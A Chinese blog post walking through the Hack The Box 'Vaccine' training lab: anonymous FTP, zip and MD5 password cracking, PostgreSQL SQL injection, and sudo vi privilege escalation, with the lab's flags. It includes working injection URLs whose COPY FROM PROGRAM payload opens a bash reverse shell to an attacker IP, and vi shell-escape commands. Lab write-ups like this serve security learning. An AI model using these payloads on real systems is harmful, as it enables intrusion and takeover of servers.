freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[StartingPoint][Tier2]Vaccine
2024-04-11 20:37:27

Task 1

Besides SSH and HTTP, what other service is hosted on this box?

(除了SSH和HTTP,这个盒子上还托管了什么其他服务)

# nmap -sS -T4 10.129.230.43 --min-rate 1000

image.png

ftp

Task 2

This service can be configured to allow login with any password for specific username. What is that username?

(这个服务可以配置为允许特定用户名使用任何密码登录。那个用户名是什么?)

image.png

anonymous

Task 3

What is the name of the file downloaded over this service?

(在这个服务上下载的文件的名称是什么?)

backup.zip

Task 4

What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?

(John The Ripper哪个脚本可以爆破zip密码)

image.png

image.png

zip2john模块将ZIP转换为哈希

zip2john

Task 5

What is the password for the admin user on the website?

(网站管理员密码是多少?)

$ zip2john backup.zip > hashes
$ cat hashes

image.png

-wordlist.txt-
admin
admin123
password
password123
741852963
741852962

$ john -wordlist=./wordlist.txt hashes

image.png

image.png

A

image.png

B

$ echo 2cb42f8734ea607eefed3b70af13bbd3 > hash

$ hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt

image.png

image.png

qwerty789

Task 6

What option can be passed to sqlmap to try to get command execution via the sql injection?

(sqlmap的什么选项可以进入shell命令交互窗口)

image.png

--os-shell

Task 7

What program can the postgres user run as root using sudo?

(postgres用户可以使用sudo作为root运行哪个程序?)

http://10.129.95.174/dashboard.php?search=a';DROP TABLE IF EXISTS res; -- -
http://10.129.95.174/dashboard.php?search=a';CREATE TABLE res(cmd_output text); -- -
http://10.129.95.174/dashboard.php?search=a';COPY res FROM PROGRAM 'bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.6%2F10032%200%3E%261%22'; -- -

一定要将payload进行url编码

image.png

$ cat /var/www/html/dashboard.php

image.png

将获取到的账户密码通过更加稳定的ssh进行连接

image.png

$ sudo -l

查看列出当前用户可以以超级用户权限执行的命令

image.png

可以用/bin/vi以root权限操作pg_hba.conf

vi

User Flag

$ cat user.txt

image.png

ec9b13ca4d6229cd5cc1e09980965bf7

Root Flag

image.png

sudo的配置文件限制了只允许使用特定路径的vi命令。这个路径是/bin/vi,而不是你尝试使用的/etc/postgresql/11/main/pg_hba.conf。所以,当你尝试执行sudo命令来编辑/etc/postgresql/11/main/pg_hba.conf文件时,由于sudo的配置限制,你得到了一个错误。这个错误告诉你,用户postgres不能以root身份执行你尝试的命令,因为sudo只允许使用/bin/vi路径的vi命令

A

:!/bin/sh 是一个vi编辑器的命令,它用于在vi编辑器的命令行模式下执行shell命令。具体来说,:! 是vi编辑器命令行模式下执行外部命令的开头,后面跟着要执行的shell命令/bin/sh。在这个例子中,它启动了一个新的shell进程(通常是Bourne shell或其变种),并执行/bin/sh。

:!/bin/sh 是在vi编辑器中直接执行一个shell命令

:!/bin/sh

B

:set shell=/bin/bash ; :shell 是另一个vi编辑器的命令,它用于设置vi编辑器的外部shell。在这个例子中,它将vi编辑器的外部shell设置为/bin/bash,这意味着在以后执行外部命令时,vi将使用Bash shell而不是默认的shell。这样做可以影响vi编辑器在执行外部命令时使用的shell的行为,包括命令补全、命令历史等。

:set shell=/bin/bash ; shell 是设置vi编辑器在执行外部命令时使用的shell。前者是执行命令的动作,后者是配置vi编辑器的行为。

:set shell=/bin/bash

:shell

image.png

image.png

dd6e058e814260bc70e9bbdef2715849

Path

ftp匿名访问网站源码泄露->zip2john爆破zip密码->查看泄露源码->登录页面->sql注入命令执行->dashboard.php泄露密码ssh登录->sudo -l 发现用户在/bin/vi可以以root权限编辑/etc/postgresql/11/main/pg_hba.conf文档->利用:[shell]进行提权

# web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录